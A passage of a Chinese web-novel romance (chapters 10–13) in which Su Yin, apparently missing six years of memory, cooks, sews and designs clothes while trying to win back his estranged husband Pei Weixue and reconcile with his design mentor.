如果他不是被控制,是真的不爱裴未雪,即使他‘穿越’到六年后,他的心也不可能再为裴未雪起涟漪,爱或者不爱,他的身体说得很清楚。
知道裴未雪要跟他分手时的心痛,做不得假,不是意识上的心痛,而是心脏抽丝剥茧般的疼。
“你爱他,你出轨。”江枝鄙夷道:“还说我装,我看你才是大装货,做过的事不承认。”
苏引捂住脸深深叹气,仿佛所有无奈都随着气息弥漫在空气中,拿下手,无神的看着车流,“我会找到原因的。”
“出轨还有原因了。神经。”
在小区门口下车,苏引整理好思绪想跟江枝说再见,结果人家油门踩得很紧。
他刚走进电梯就听到外面传来熟悉的声音,“等一下!”
眼睛一亮,立刻挡了一下电梯门,裴未雪带着一身酒气快步走到门口,看见里面的苏引愣了愣,后又恢复原样若无其事走进去。
“雪儿,你喝酒啦?”
裴未雪盯着按键,“你不是说要改?”
苏引疑惑:“嗯?”
裴未雪余光瞄他,沉默。
10. 拾
沉寂的电梯。
安静的走廊。只有两道呼吸声和两道脚步声,显得格外空旷。
走到门口时,苏引没忍住抓住裴未雪想开门的手,“有喝一碗热汤再回么?”
喝酒的次数不多,但也就仅仅那几次,裴未雪无论喝多喝少都会宿醉,喝完热汤会缓解隔日的头疼。
“你不是说要改?”裴未雪转身看他。
苏引还是发出和刚才一样的疑惑:“嗯?”他看着裴未雪眼里的执拗,回想着他是不是又做错什么事,以前那些事他没有记忆,可他‘醒来’开始,一直想修补这段关系,说到一定会做到。
他等着裴未雪继续说,等来等去只等来了裴未雪放手,他下意识抓住裴未雪的手,“雪儿,你可以说明白一点吗?不要让我猜。”
他仰着头将嘴凑了过去,“我长嘴了。我的嘴巴可以说很多很多话,可以变成喇叭。你可以不可以,也像以前那样,有什么说什么?”
以前.....
裴未雪回想着这两个字,甩开手拉了拉自己的衣襟,周身散发着懒得再说的冷淡,输入密码想回去休息。
“雪儿!”苏引蹿到他和门的中间,“那你会继续当我的模特么?我只记得六年前你的三围。我想去参加海城的设计大赛。如果能进入决赛,或许老师愿意重新接纳我。”
“你不是去找了贺南?他不是你的上司?”裴未雪往后退了两步,抱臂,冷冷睨视他,“怎么?他不愿意,所以你退而求其次来找我?”
他心里有点意外,意外苏引竟然会重新去找叶老师。
六年前,他们刚领证,叶琳老师来过家里找苏引,他知道苏引要跟叶琳一起去国外进修半年。
虽然会分隔两岸,但对苏引事业大有帮助,他一向很支持,也坚信他和苏引抗得过异国恋,不在朝朝暮暮。
护照还有行李都是他收拾的,结果苏引却放了叶老师的鸽子,叶老师找上门时很生气,说在机场等了半天问苏引到底想干嘛。
嘭嘭!
“引哥。叶老师来了。你还不出来吗?”裴未雪很自责是他没注意时间,一味的在想苏引要带多少东西出去,没及时叫人。
跟叶老师好说歹说,最后换来苏引隔着房门的一句,“我不去了。”
叶老师心有怒火甩手离开。那天也是他第一次跟苏引大吵。
在他看来,苏引不该放弃这个机会,在苏引看来,是他多管闲事。
说是大吵,其实只是他单方面输出。
因为苏引很懂怎么惹怒一个人,尤其是他这种有‘病’的人。
‘沉默’两个字即可。
“我不是......”苏引辩驳。
裴未雪打断他的话,“苏引,你搞清楚,我裴未雪不是你可以退而选择的人,你不要脸,我还要脸。”这话他说得也很没底气,明明该很愤怒,却在对上苏引看他的目光时,险些藏不住深处那抹不可名状的落寞。
说苏引不要脸,他又什么时候要过脸。
尤其是苏引缠着贺南,贺南打电话让他去接人时,简单的目光投射都能让他无地自容。
“什么求其次!”苏引肩膀绷紧,眉毛挑高,连声音也高了不少,“你不是!”
裴未雪神态间略有疏离感,拉开了两人的距离,淡淡道:“你自己说的。你不爱我,所以我是你和贺南之间的小三。我要给你们让位。这就是你说的不是退而求其次?”
轰隆~
走廊外天空响起一道雷声。
苏引觉得这道雷像是劈在他脑瓜上,震得嗡嗡响,什么玩意儿?
这种话是‘他’说的?
我靠。
“不是,雪儿。我现在没有那些记忆,没跟你装傻。但如果,‘我’真的说了,我一定脑袋被门夹了。”苏引悄咪咪挪动脚步靠过去,他真的很喜欢裴未雪身上那股木质雪松香,虽然今天裴未雪喝酒了,变成了酒味雪松,还是很吸引他。
他的脚步,他的身体,从来都很渴望裴未雪的触碰。这让他如何相信二十六岁的他不再爱裴未雪?简直是天方夜谭。
或许感情的事他无法保证未来,至少,以前、现在,他都非裴未雪不可。
“你看啊。你是我结婚证上的另一半,怎么会是小三呢。”苏引指天誓日地说:“我想要的模特只有你。你才是我唯一的缪斯。我都不好意思说我自己。”
他开启了碎碎念技能,“画室里那副乱七八糟的设计图我都不敢相信是我画的,太离谱了。那颜色配图根本不是我嘛。我要那样的话,也做不了你的调色盘啊。”
裴未雪看他这样,眉目肉眼可见的柔和了不少,嘴角几不可察的扬了扬,“所以?”
“所以我不会找他的。对了。”苏引把背包拉链打开,炫耀似的把背包面向裴未雪,“我刚才去把我所有设计图都拿了回来。我好蠢啊,怎么还给别人当枪手。”
裴未雪捕捉到关键字眼,“你刚才去贺氏拿设计图?”不是找贺南?
苏引频频点头,“当然。好歹是我的东西,我当废品卖还能卖一毛钱呢。”他非常稀罕这一毛钱,负债的痛。
“好。”
欸?苏引发现自己好像听到了什么不得了的回话,他去看裴未雪神情,很平和,不由得轻拉住裴未雪的衣角,头侧倾,软声问:“你说了‘好’,对不对?”
裴未雪好似有点恼怒,推开他。
“我听到了!你答应继续做我的模特!”兴奋冲昏头脑,苏引牵住裴未雪的手拉着他回到对面屋,脸部解锁,进门,把裴未雪按在沙发上,一气呵成。
裴未雪都没能反应过来,他喝多了行动有点缓慢,反应也慢了平时半拍,他转头去看转进厨房的苏引,拿起被随手丢在旁边的背包,一张张看所有的设计图。
图纸上的尺寸都一样,不是他的,只能是贺南的。
从厨房端着热汤出来,“雪儿。”苏引抬头一看,客厅里空空如也,眼底盛着的笑意逐渐三区,“雪儿!”不是吧,他刚把人拐回来,怎么又走了?
只有茶几上散落的一叠设计稿。
他只好把汤又倒回锅里保温,坐在沙发上,肩膀塌陷,胸口沉甸甸的,又闷又燥,难受得紧。
想着先煮完汤再量三围或者明天起来再量,
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至少今天能把裴未雪留在这边睡觉,结果还是如此。
不过他还是能安慰自己,有收获的,裴未雪答应的事不会反悔。
他还是要尽快搞清楚他做过多少缺德事,否则一件又一件的涌来他都不知道底。
也不是所有错误都有弥补的机会。先看看他有没有真出轨吧。恐怕真的要去找贺南当面问问。
但是贺南对他来说是定时炸弹,‘缠着贺南’这件事也是裴未雪的眼中钉肉中刺。一块大疙瘩。
他说不是他做的,没人相信。所以搞清楚怎么回事也成了迫在眉睫的大事,却又无从查起。
似乎只有见鬼可以解释。
翌日。
苏引拎着蔬菜去敲老妈门,他还不知道裴未雪工作室在哪里,得问问老妈。
咔。
“你干嘛?”苏清月还是看他很不爽,昨天她看裴未雪回来时一脸失落,肯定又这个混账儿子干的好事。
“妈。雪儿的工作室地址在哪里呀。你告诉我呗。”
苏清月:“你装什么?”不久前苏引才去裴未雪工作室前大喊大叫说裴未雪不离婚纠缠他之类的话。
整层写字楼的人都看了笑话。
“我...我真的忘了。不是装失忆。”苏引心里一紧,坏了,看老妈这个表情,‘他’是不是去过雪儿工作室闹出令人啼笑皆非的事情来?
“自己找。”苏清月哼一声拿走苏引手里的蔬菜,嘭一声关上门。
苏引:“......”造孽啊。
突然不是很敢去给雪儿送午餐了。
上次来家里送文件的那个助理看他的眼神就很奇怪。
不行。他还没量到三围,做衣服很快,有尺寸一会儿就好了。裴未雪肯定天天吃盒饭。
俗话说,抓住对象的心要先抓Ta的胃。以前他没用过这个招数就追到了裴未雪。
现在用用,说不准有奇效呢?
回到家里厨房想起来蔬菜都给老妈拿走了,不是,他仅剩的买菜钱买的菜就这么没了,这下是真·兜比脸还干净。
古有《出师表》,先帝创业未半而中道崩殂。
今有《厨师表》,苏引做饭未半而中道无材。
临表涕零。
他临空空如也的冰箱涕零。
还好以前有存零钱的习惯,他跑回房间翻箱倒柜找储钱罐,最终在衣柜里叠着的棉被下找到雪人储钱罐。
拿起来掂了一下重量,还没来得及高兴就着急忙慌拆开雪人屁股上的锁,往下倒了半天。
哐当~
只掉出来一个硬币。
苏引崩溃的捡起硬币,“还是一毛钱的!”天呐。
又继续去翻第二个储钱罐,在另外一个棉被下找到,这个更空,连一毛钱都没有。
明明他存满了一罐半,不止有硬币还有一些旧纸币,太皱的纸币,以及他和裴未雪互换的压岁钱。
至少有五千多块。
“一毛钱。”苏引语气里带着颤抖,又无奈的笑了起来,“哈哈哈哈,一毛钱。”
现在他首先要想的是去哪里挖一个聚宝盆。
11. 壹拾壹
在房间里盯着储钱罐郁闷许久,苏引才打起精神,准备去找老妈蹭顿饭,然后拿画架去公园挣点钱,幸好他还没忘记画画,素描还算手拿把掐。
小时苏清月发现他喜欢画画,专门帮他找了绘画补习班,后来才转成服装设计。
再次敲开门,苏引闻到饭香肚子就叫了起来,“妈。我还没吃饭。”
苏清月沉默一瞬,侧开身让他进去,“没钱了?”
苏引刚拿了碗筷,尴尬的点头,“嗯。我奖金那些都没了。”吃上饭后眼泪都要流出来了,还是熟悉的味道,“妈。我知道我做过很多错事让你生气。我真的会改的。”边吃边忏悔。
再委屈他也只能忍着。
“妈,你有没有认识什么大师啊?我觉得我中邪了,想找人看看。”
苏清月拿了一小碟腌萝卜放在苏引旁边,“中什么邪?别老找借口。”她可不相信那些东西。
紫色腌萝卜是用紫菜花汁腌制,苏引一直好这口,苏清月也总腌着,不费钱也不怎么费功夫,要是山珍海味她还真得掂量掂量,苏引打小就朴实,吃住用度没什么挑的,也就对穿的有讲究。
她身上这件杏黄色绸面小马甲是苏引刚上大学那年做的衣服,质量很好,一直穿到现在。
“萝卜!”苏引眼睛水汪汪的夹了一大块萝卜丝,吞下后才说:“我知道你们都觉得我在装失忆,可是,我真的没装。”
苏清月端着碗筷斜睨他,“难不成你想说你被鬼上身了?”
苏引被噎了一下,小声嘀咕,“说不准呢。”
“你说什么?”
苏引拨浪鼓似的摇头:“没没没什么。”
苏清月看他吃得香也没再说其它话。
吃完饭,苏引先照着记忆力裴未雪的三围把衣服打样,傍晚背着画架跑到滨海公园里摆摊。
一张定价多少钱合适呢?
他还没想好就有人过来问,是一个年轻男人,“你画全身还是脑袋?”
苏引把小凳子摆上,“都可以。还能设计衣服,看你的需要。全身一张二十元。脸部一张十元。设计衣服要求不多五十,多了一百。”
“设计衣服?”年轻男人似乎很有兴趣,坐在小凳子上,“你会设计什么衣服?”
苏引不经意的打量客人的穿着,看起来非富即贵,全身上下都是国际知名服装品牌的高定,搭配的首饰也价值不菲,“看你想出席什么场合。不过,这位先生,你应该不太需要我设计衣服吧?”哪有高定穿在身上去找路边设计的道理。
年轻男人支着下巴,小凳子有些窄巴他坐着看起来很是拘谨,袖口下滑露出腕表,标志一看就就不是普通货,“要的。我要去见心上人,这身衣服怕是不太合适。她比较喜欢我年少的样子。”
“这样啊。”苏引拿出画架,原来是想要朴素一点的衣服,但又不想太随便,路过这里看见他的小摊,想试试他的衣服?“我设计完后是不包打样的噢。你想做可以拿去工厂或者绣店。”
“你肯定会做吧?”年轻男人拿出钱包,拿出一小叠纸币,目测有一千元左右,“我暂时只有这些零钱,如果你设计的衣服我满意的话,够你帮我做一套么?”
苏引看那叠毛票,眼睛放光,“行行行。我先画,你跟我说说喜欢什么样的。”
年轻男人靠过去,眼神落在那些颜料和画笔上,“我没什么喜欢的,你看我该怎么穿才能告白成功?”
“好说!”苏引端详他的长相后爽快应下,告白穿的衣服也算是他的‘强项’吧,最后一次设计大赛,他的设计理念正是源于陪裴未雪治疗色盲和病的过程。
也是他逐渐爱上裴未雪的过程。无力挣扎,看不见世界的颜色,连老师都说裴未雪专业选得不好,没有网感和色感非常致命。但裴未雪还是顺从内心的喜好去选择,哪怕他走这条路比普通人要艰难很多也一直很坚定。
爱,是坚定的选择。
一个半小时过去,苏引针对告白对象的年纪设计了一套不那么严谨的衣服,主色调根据客人的肤色选择黑色提亮,并且显瘦,人也精神。
“上衣材质我认为用16针双股羊绒不错,裤子用微弹羊毛混纺面料,膝盖处会避免褶皱。”苏引边介绍边在本子上写,“你脖子比较长,所以领口会采用小V领,适度露肤。你还可以搭配一条银饰锁骨链。”
“七分袖你喜欢吗?”
年轻男人听得津津有味,他对这些不太懂,但最后那个问话还是听明白了,“可以长袖么?我想挽上去会不会更cool?”
苏引说:“可以的。”他在旁边写下修改袖子长短的字样,“后腰处设计了一个隐藏式松紧带,这样下蹲不会崩线。”
他很久没为别人设计,还是有点紧张,今天开业第一单免费送都行,千万要是好评。
不然真对下个月的设计大赛没信心。
“我很喜欢。”年轻男人拿过设计图欣赏了许久,“你帮我做吧。多久可以完工?”
苏引老实说:“我没有自己的工作室也没有服装店,这些衣料材质我虽然有但挺旧了,不过我能保证看起来很新。另外一整套,需要三天时间。价格也会贵一点。这样你能接受么?”
没想到年轻男人欣然同意还留下一千块定金和联系方式,苏引盯着手心的毛票有点不敢相信,不怕遇到骗子吗?
公园外,年轻男人看着手机里拍的设计图,左下方签名放大。
签得十分规整的英文名:vito。
接完第一单,苏引写了价格牌在旁边,路过人就吆喝一声,再接了两个素描单,一看天全黑了就收拾东西回家。
背着画架回到家收拾了一下竟然在餐桌上看见了一些食材,两斤猪肉排骨和一些蔬菜。
苏引一看那一小罐腌萝卜,鼻子一酸,抱着罐子难受了好一会儿。
简单吃完晚饭就专进画室,裁缝机响了到凌晨才停止。
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夜深人静,门锁密码输入的声音叮了一声。
裴未雪推开门走进来,手上拿了许多食材轻手轻脚放进冰箱里,离开时看见画室门开着。
没忍住好奇心走进去,看见一张设计图,还有做到一半的两件衣服,他摸了摸设计图上的签名。
vito。苏引的艺名,年纪轻轻就拿下许多国际设计大奖,只差一场服装展就可以声名鹊起。
却戛然而止。
左侧模特身上是一件浅色毛呢长衫,他走过去,指腹从衣领滑到衣摆,上面还扎着许多别针固定版型。
让他想起给苏引当模特时的一些回忆。
尺子绕着他的腰,他的胸,他的脖颈,他的臀。贴得很近,苏引脑袋总凑在他耳边,很暧昧的姿势却感觉不到不舒服。
“雪儿,你就是太瘦了,胸围不太大,要不要跟着我练练肌肉?”苏引量完后记录下来,“其它的都很完美,大腿和小腿的线条很流畅,穿我的衣服肯定好看。”
裴未雪跟过去看他记录,“你这件是要给我做的?”他指着一张设计图,分辨不出正确的颜色,看起来很不错的样子。
“是啊。我马上要参加区域决赛,模特主办方虽然有,自己也能带。你帮帮我嘛。”苏引写完后,双手撑着桌面,背靠着桌沿,仰头去看裴未雪,“帮我,这些衣服我都送你。怎么样?”
一个挺直腰背站着,一个懒懒散散倚靠着,头顶的灯光落下,连影子都靠得很近。
裴未雪嘴角微微上扬,笑声浅浅,低低的滚出,带着愉悦,俯身跟苏引对视,两人只间隔一个手掌的距离,他迎着苏引笑意盈盈的眼神,他反而卖了馆子,“真的是给我设计的?”
苏引挑眉,低头发出一声闷笑,笑声仿佛从他胸腔深处传来,低沉又模糊,藏匿着不可告人的隐秘心思一闪而过,“自然。”他转身过,拿起布料在裴未雪身上比划,“很漂亮,很适合你。”
那时,裴未雪色盲还没好,不明白苏引拿布料在他身上比划会露出奇怪的神色,他以为颜色不太搭。
后来苏引才说:“布料颜色特别衬你,看起来香香的。”说话时很郑重,很认真,他也全神贯注听着。
明明很冒犯也很轻佻,苏引的神态却让他没有任何不适。
掌心里的布料,桌子上的设计图,缝纫机上的尺子剪刀,都很熟悉,当时只道寻常的相处,这几年来竟是求而不得。
他放下剪刀和布料,离开画室,停在苏引卧室门口,侧目。
真的会改么?
按上门把手,意料之中的没锁门,他走进去,房间内仅剩窗户外投射进的一束清冷月光。
他走到窗前,看苏引像一个‘大’般睡着,顿时拧起眉头,静静站着许久才伸手帮苏引拉好棉被。
深秋风大。
俯身,手背轻轻触碰苏引的眉眼,心里想着,好怕。好怕现在的你,只是镜中花水中月。好怕突然醒来,你依然爱着别人。
12. 壹拾贰
KARI专卖店。
“您好。”服务员看见有人进来迎了上去,“是想买女性还是男性衣服呢?最近到店了一批新款,需要看看嘛?”
苏引拎着黑袋子,“谢谢。我找叶老师。”店面很宽敞,他走到最近的衣架上摸了摸布料,习惯性的看缝线。
“您是?”服务员问。
“vito。”苏引报上艺名,“老师应该有在吧?”
服务员恍然大悟,“原来vito先生,有的。这边请。”原来老板等的是这位,还奇怪怎么这三天老板一直在店里。
“老板在楼上左手第二间。”
“好的谢谢。”
再次站在老师办公室前,苏引有点紧张,他的记忆里,上一次不过一个月前,那时他和老师还有师姐在这间房里讨论出国的事。
这回过来,连服务员都换了一批。
叩叩。
“老师。我是苏引。”
“进。”
苏引推开门进去,走到塑料模特前站着的女士身后,低着头喊了一声,“老师,我来赔罪。”
叶琳转过身,白色连衣裙很好的彰显气质,她张开手转了转,“看我这件衣服怎么样?”
仔细看,还带着一点点粉,简约大气,又不失优雅,苏引绕着老师转一圈,“是老师的新品么?”看起来像是江姨会喜欢的款式。
不知道‘他’有没有得罪江姨。
叶琳年约四十,保养得体,身材保持完美,成熟又知性,她满意地说:“嗯。我的新品。”她又转向落地镜,“你的衣服呢?”
“这呢。”苏引对自己做出来的衣服有自信,把衣服拿出来交给老师,低着头跟在老师身后,看老师两指捏着衣服边边到后面的茶几前坐下,“怎么样老师。”
叶琳摸着面料、缝线,又看了看版型,“怎么跟你之前做的不一样了?”
“之前?”
“你给人当枪手做的衣服我看过。”叶琳不喜太过夸张的配色,上秀场T台也一样,“实在太过离谱。”她嫌弃的看向苏引,“你的缪斯是不是回到你身边了?”
做设计的灵感很重要,缪斯可以是物品也可以是人,但肯定会有。苏引这半年在贺氏交出的作品风格不一样也出了很多爆款。虽然挂了别人的名字,但她一看笔触就知道是苏引,好歹是她带了几年的关门弟子。
风格实在不对她胃口,灵气消失,有的只有功利心,那样的作品可以成为爆款,但走不到国际T台上。
她只能认为是缪斯消失导致的。
闻言苏引实在不知该怎么说,心里庆幸‘他’放鸽子外没再做多余的事惹老师生气,但缪斯的事他不好解释,只好说:“没有。他跟我离婚了。”
叶琳表情没有变化,“坐。”她把衣服放在扶手上,拿了茶壶泡茶,“离婚和设计灵感有什么关系?”
苏引摇头,他不知道。醒来就要离婚,头疼得很。
不过...
他眼睛一定,是啊,他是在裴未雪坚定要离婚,老妈不认他,江枝要跟他恩断义绝的时候突然‘醒’过来的。
会不会有什么联系?总不能是上天看‘他’造孽够了,让他来承受这些后果吧?
如果能有这六年的全部记忆,或许他能找到答案。
“好了。喝茶吧。把这件衣服的设计理念跟我说一下。”自从收了苏引做弟子后她就没再收人,共有三个弟子,前两个都是国际知名设计师,既然苏引想迷途知返,看在这件衣服的份上她也就睁一眼闭一只眼,忽略被放鸽子的事。
真是年纪大了,心肠软。不过她也很疑惑苏引怎么敢来找她,六年前被放鸽子后她已经将苏引从她名下除名了。
她看着手拿衣服滔滔不绝讲诉理念的苏引,脸皮真厚。一口一个老师叫得跟以前一样密。
苏引嘴很甜,以前带他去认识各个名师和圈内大佬时总游刃有余,一点也不生涩。
说不生气是假的。
“肩周这边缝线靠下......”
说完后苏引又得意洋洋的举着衣服在自己身上比划,“老师,我身材变不好了,不过我的缪斯还是很好。”他走到老师身侧,“你都不知道,雪儿穿起来有多好看!”
“行了行了。”叶琳摆手,“又跟以前似的,三句不离裴未雪。下个月海城设计大赛我跟你师姐说了,她会陪你去。至于模特...”她本来是想说苏引身材不错自己上也行。
突然的,她才发现不对劲。
上下扫了扫苏引,“不是,你的身材怎么拉跨了?”
苏引一巴掌拍在肚子上,“我保证,会变回以前的样子。”
“嗯。衣服放下,快回去画设计稿吧,你要是想在我这儿画也行。东西搬过来。”
苏引激动的90°鞠躬,“多谢老师!”
从老师那儿出来后苏引马不停蹄奔向健身房,大汗淋漓回到家洗了个澡做完午饭,拎着保温盒去跟老妈报备,老妈没理他。
他耸拉着肩膀下楼,幸好从江枝那儿套来裴未雪的工作室地址,不然都不知道去哪儿。
正好减肥期,骑自行车也算有氧运动,他骑得又是一身汗才到地点。
“1207...”苏引走出电梯,寻找工作室,看见门牌号,眼睛一亮,终于找到了。
[未引科技]
工作室名字让苏引嘴角控制不住上扬,嗨呀,就说雪儿很实诚吧。
哪哪都能让他感觉到喜欢,江枝老说他当舔狗,那咋了,单方面舔才叫舔狗。
互舔叫接吻。
提到接吻,苏引兴奋劲一下子掉没了,他没跟雪儿接过吻!只是小小亲了一下!
‘他’有没有亲过雪儿!
他走进去,前台看见他当没看见,继续做事,他一路边看边走,想问工作人员裴未雪办公室在哪儿也没人理他。
幸好工作室不算太大。
叩叩~
“进。”
雪儿的声音!苏引心想他还是很聪明的,一下子就找到是哪间了!
他推开门,探进一个脑袋,“雪儿,我来给你送午饭啦。”
正在看文件的裴未雪意外的看向门口鬼鬼祟祟的人,送午饭?
他拧眉沉默,继续看文件。
保温盒放在桌上,苏引很快打开,“我今天熬了文蛤排骨汤,做了红烧鱼,还有炒莴笋。”他一个个拿出来,献宝似的又掏出一个雪儿不倒翁玩具,
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“这个就放在桌上代替我哄你吧。”
他说完看向裴未雪,裴未雪盯着他不说话,他挠挠头,“这些都是你喜欢吃的。”
裴未雪则是掠过食物去看苏引身后背的东西。
苏引看他在看自己的背包,“噢,这个呀。”他拿下来,“我要在这里画设计稿,可以和你一起上班呐。”
他把东西放下后走过去把文件都整齐叠在一边,盛了饭把勺子塞裴未雪手里。裴未雪吃饭更喜欢用勺子,说筷子不好夹饭,到最后那几口需要用扫的很不喜欢。
“我跟你说噢,老师已经收下我做的衣服啦。”苏引边拉椅子过来边说:“不过你没给我量三围,所以我只好按照之前有的三围做。”椅子拉到桌子前坐下。
他看裴未雪吃得不多就说:“你多吃点呀。”他拿了筷子夹鱼肉把刺挑了再给裴未雪吃。
裴未雪看他低着头认真挑刺的模样,接话:“等下我把三围给你。”看在这桌午饭的份上。
“好啊。”苏引眼睛一弯,高兴极了,“对啦,我昨天还接到一个单子,一千多快呢。不过噢,他发来的三围尺寸跟我以前好像。”苏引把手机拿出来调出信息面向他,“你看,是不是?”
裴未雪边吃边看一眼,握勺子的手顿了顿,这个三围是苏引十九岁的三围,他记得很清楚。
那时苏引缠着他量三围,他也帮苏引量了,是他记在本子上的几个数字,他也想学着做一件衣服给苏引,只是做得乱七八糟完全不能穿,最后也没送出去,请教苏清月织了一条毛巾当礼物。
不过这个身材别人有也正常吧。
“很标准的模特身材,我看他好像也不是这个比例。”苏引看他鱼汤喝完了又倒一碗,“不管啦。按照客人的要求做没问题。”
“一千多块呢!”苏引很高兴终于能挣到钱,这几天的窘迫算是缓和一些,“我以后天天给你送午饭呀。”
裴未雪‘嗯’了一声。
一整个下午苏引都在办公室坐着画设计稿,来来回回纸张丢满了纸篓。
中途有员工进来送文件或者汇报工作,看见苏引当做没看见。
那些声音也影响不了苏引,裴未雪没刻意压低声音,苏引每次画设计稿都两耳不闻窗外事。
下班时间到了苏引弹跳起身,“雪儿下班啦。回家吧。”
“我还要加班,你先回去。”
苏引看他一直在看文件,收拾完东西走到裴未雪身边,“回家做呗,家里也有电脑。”他往外看去,员工都陆续离开,在工作室和在家里也没区别。
裴未雪沉默看文件。
苏引拉拉他的衣服,“回家吧。我晚上给你煮夜宵吃啊。”
裴未雪沉着脸说:“苏引,我在工作,你能不能别吵?你不要事业我还要。”脸上流露出明显不耐烦的情绪,感觉到衣服被松开,他喝了一口冰水,“抱歉。”低头从抽屉里拿出药瓶,还没打开就被抢走。
他看向抢药瓶的人,苏引脸上挂着笑,俯身看他,“不用道歉。本来就是我缠着你。但是,你已经骂我了就不要再吃啦。想怎么骂怎么骂。”
话出,裴未雪盯着被丢到一边的药瓶沉默。
几分钟后关掉电脑。
13.壹拾叁
阳光透过窗户洒进屋内,缝纫机工作不停,苏引摸着衣服把袖子缝好后往后一靠,左右动了动僵硬的脖子 。
“哈~”
哈欠连连,疲惫的看向窗外,苏引揉揉酸涩的眼睛,拿起衣衫又检查了一遍,最近的塑胶模特还穿着直筒裤。
他起身把衣服套在模特身上,退后几步看了看,松口气,总算做好了,刚好来得及交给客户。
苏引拍了一张给客户,约好交货地址后喊了同城闪送,他摸着脖子走出画室。
忙了一晚上赶进度,早饭还是要吃,不然新陈代谢会变慢。
久没锻炼,这几天运动下来体重还高了两斤,苏引从体重秤上下来,盯着上面162的数字烦恼。
鬼知道他一米八八,差点都要跟体重持平了。他以前的体重一直是140左右,体脂率非常低,昨天去健身房测了一下,体脂竟然有19%,太可怕了。
距离曾经的10%路途遥远。
他简单吃完早饭快递员过来拿走衣服,他也脱掉衣服去浴室洗了个澡,摸了摸消失的鲨鱼肌,只能说现在肚子紧实了许多有点安慰。
“睡一觉该给雪儿做午饭了。”苏引躺在床上自言自语,眼睛睁开又闭上。
睡梦中隐隐约约听到很多奇怪的声音,不知道是谁,似乎在指责他。
拎着保温盒去工作室的路上,苏引觉得带点咖啡过去请工作室的员工喝好了,正好挽回一下形象。
途经一间咖啡店,他停下自行车走进去,一推开门撞上一个戴墨镜的男人,“抱歉。”他侧过身想离开。
“苏引?”
略带看戏的声音响起,苏引看向他,“你认识我?”
男人抢过他的保温盒,“没想到你现在舔的程度又增加了,开始做饭了?不是我说,你...”还没说完保温盒就被抢走。
苏引目光沉沉,“这位先生,抢东西是犯法的。”有病吧。
他怕时间来不及不想搭理他,转身要走又被推了一下,“你有病?!”这下他也顾不得什么礼貌了,“我认识你吗?!上手就抢就推?看我好欺负啊?”
“啧。”男人轻嘲一声,“装什么啊?谁不知道你苏引是圈子里最大的舔狗啊?贺南不会看上你的,就你这废物样儿,穷又搓,要什么没什么。装贤良淑德学人做饭抓胃也没用。”他边说边拍了拍自己的脸颊,“我都替你丢脸。”
苏引从他说出‘舔狗’二字后神色略微变了变,由恼怒变为讥诮,看男人像一个跳梁小丑,“说完了吗?你该不会喜欢贺南,又争不过江枝,只能跑来跟我撒气吧?”
他哪有什么圈子,除了设计界的老师和朋友以外能称得上圈子的只有江枝,江氏在东城是数一数二的企业。
被戳破心事,男人恼羞成怒,往前一步想抓苏引,苏引一个扭身转了个圈,“怎么?破防啦?”
“他算什么,不过靠妈,要是没江总,他不过是个喽啰,我一个指头就能碾死他。”
苏引自认脾气从来不算好,嘴角上弯起讥讽的弧度,眼睛里毫无笑意,“所以你承认,你喜欢贺南,所以才破防的咯?”
和人争吵,想赢的办法很简单,别说我只说你。
不管对方说什么,反问就对了。
“你!”男人指着他好几秒都说不出完整的话,以前没见他嘴皮子这么厉害,他随便说两句就能让苏引和江枝吵起来,给圈子里增加笑料。
今天挑拨竟然没成功。
苏引看一眼时间懒得和他争吵,转头去吧台点咖啡,不料男人不依不饶跟过来直接把他的保温盒踢掉,饭盒掉落在地上转了两圈,盖子脱落盖子洒了出来。
“哈哈哈哈哈~我看你拿什么给贺南吃。”男人得逞的大笑,周围的客人都看了过来,服务员上前指责他们弄脏地板,他随手掏出现金,“老子弄脏就弄脏了,一千块够了吧。”他把钱甩在打扫的服务员身上。
“对不起啊。”苏引觉得很不好意思和服务员道了歉,结果看见男人这种反应,他走过去在男人毫无预警的时候扯住他的衣服直接按在地上,“你也配自称老子?你给我把这些东西吃了!我今天赏你。”
“你...苏...苏...啊...”男人的脸被按在那些食物上,扑面而来的恶心让他拼命挣扎,奈何按在他脖子上的手力气太大,最后只能手脚并用才推开苏引。
客人包括服务员都呆住了一会儿,又默默站在旁边看。
苏引今天做了糖醋鱼,还有药膳汤,酸酸甜甜和药材的味道在咖啡里传播,男人晦气的抹脸,手掌和衣服全都沾了鱼和汤汁,狼狈极了,一拳朝苏引挥去,结果脚踩到汤汁又摔了一跤。
“啧。”苏引学他的语气啧了一声,带着幸灾乐祸蹲在他面前,“这个礼行得太大了吧?”他从和男人碰面开始就从衣服猜到男人应该是个富哥,管他什么家世背景,今天这事捅到警局都是他在理。
“苏!引!”男人更加狼狈的站起身,手指颤抖的指着苏引好一会儿才匆匆忙忙跑走了。
闹剧结束,苏引对服务员说:“对不起啊。给你们添麻烦了。”他身上实在钱不多,心想请个保洁两百可能够,“这两百是我的歉意。”
“不用的先生。您并不是故意的,这些也是我们的服务范围。”服务员说完便细心清理地板。
苏引尴尬的捡起保温盒去卫生间简单洗了洗,今天没有午饭了。好烦。
买了咖啡到工作室的路上,他一直在思考那个男人是谁。喜欢贺南是一回事,可能更深的原因是讨厌江枝。
‘他’搅局让江枝分手,虽然他觉得江枝大装货,有没有人搅局早晚都得分手,但不管怎么说还是有‘他’的原因在。
帮不了江枝什么,但让江枝知道还有人觊觎贺南,也算是积德?
他今天难得没去吵裴未雪,拿着笔半天一笔都没画,拿出手机给江枝打电话。
“干嘛!”
江枝竟然把他从黑名单放出来了,太好了,苏引高兴地说:“枝丫,我今天遇到一个喜欢贺南的男人.......”
办公桌前正在检查代码更正系统的裴未雪听到这句话后停下敲键盘的手去看苏引,看见手边喝完的咖啡杯,随手捏坏丢垃圾桶。<
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p>骗子。今天没给他带午饭就是去找贺南!说什么每天给他做饭,昨天就没吃到夜宵。
“噢。雪儿。”苏引捂着话筒去看裴未雪,裴未雪在他看过来之前已经移开视线看电脑,他说:“我没有去找贺南,今天买咖啡的时候遇到一个他的追求者扔了我给你做的午饭。我跟他打起来,你不知道我有多惨,那些饭......”
听着听着裴未雪低下头去看垃圾桶的咖啡杯...眼底浮现他自己都没发现的笑意,若无其事接着看电脑。
“你不说我就挂了,没空听你秀恩爱。”话筒那边传来江枝打断他的声音,他才悻悻对裴未雪笑了一下才继续说:“枝丫,你要是不抓紧,会被追走噢。”
“呵...你说的是谁?”江枝声音很朦胧,显然还躺在舒服的床上,苏引听得羡慕忮忌,他现在睡都不敢睡太死就怕被追债的追上门,“啥意思?”
江枝哑声道:“喜欢他的人多了去了。你说的是谁?”
苏引:“?”这么有魅力?
苏引:“那咱们江少很厉害嘛。能追到他。所以你要把握呀。”
